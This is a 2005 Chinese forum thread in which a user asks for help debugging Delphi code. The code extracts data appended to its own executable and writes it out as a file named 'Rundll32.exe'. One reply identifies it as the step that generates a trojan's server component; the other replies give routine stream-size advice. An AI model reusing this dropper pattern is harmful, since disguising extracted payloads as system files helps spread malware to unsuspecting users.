请帮看一段代码!
procedure TForm1.sverClick(Sender: TObject);
var fme:TMemoryStream;
clf:TfileStream;
size:integer;
stf:string;
begin
stf:=ExtractFilePath(Paramstr(0))+'Rundll32.exe';
if fileexists(stf) then deletefile(stf);
fme:=TMemoryStream.Create;
clf:=Tfilestream.Create(application.ExeName,fmShareDenyNone);
try
clf.Seek(-sizeof(size),soFromEnd);
clf.ReadBuffer(size,sizeof(size));
clf.Seek(-size,soFromEnd);
fme.CopyFrom(clf,size-sizeof(size));//执行这句时总出现'stream read error'错误!
fme.SaveToFile(stf);
finally
fme.Free;
clf.Free;
end;
form4.Visible :=true;
FORM4.T1.Enabled :=TRUE;
form1.Enabled :=false;
end;
问题:
fme.CopyFrom(clf,size-sizeof(size));//执行这句时总出现'stream read error'错误!请教高手
问题点数:100、回复次数:4Top
1 楼unsigned(僵哥(发站内消息,请附上链接或问题说明,否则不予回复))回复于 2005-04-02 11:36:46 得分 50
先不要问为什么,首先检查一下,存在最末尾的Size是否准确。至少来说要符合条件size<=clf.Size+sizeof(size)Top
2 楼zswang(伴水清清)(专家门诊清洁工)回复于 2005-04-02 14:04:43 得分 50
……
想在执行程序的尾部加数据?
加了以后是正常的,不加当然会出错
Size-SizeOf(Size)不能小于0Top
3 楼pandarus(大熊)回复于 2005-04-04 12:02:55 得分 0
这是生成服务端木马程序 'Rundll32.exe'
过程这样:
先抽取不含路径的文件名存入stf
指针移动到指定的组件上
读入字符缓冲区
从另外一个流中复制指定数量的数据到当前流对象中
将原始数据从数据缓冲区写入文件
这样服务端就包含在客户端了 用于下次生成
Top
4 楼pandarus(大熊)回复于 2005-04-05 09:24:58 得分 0
upTop




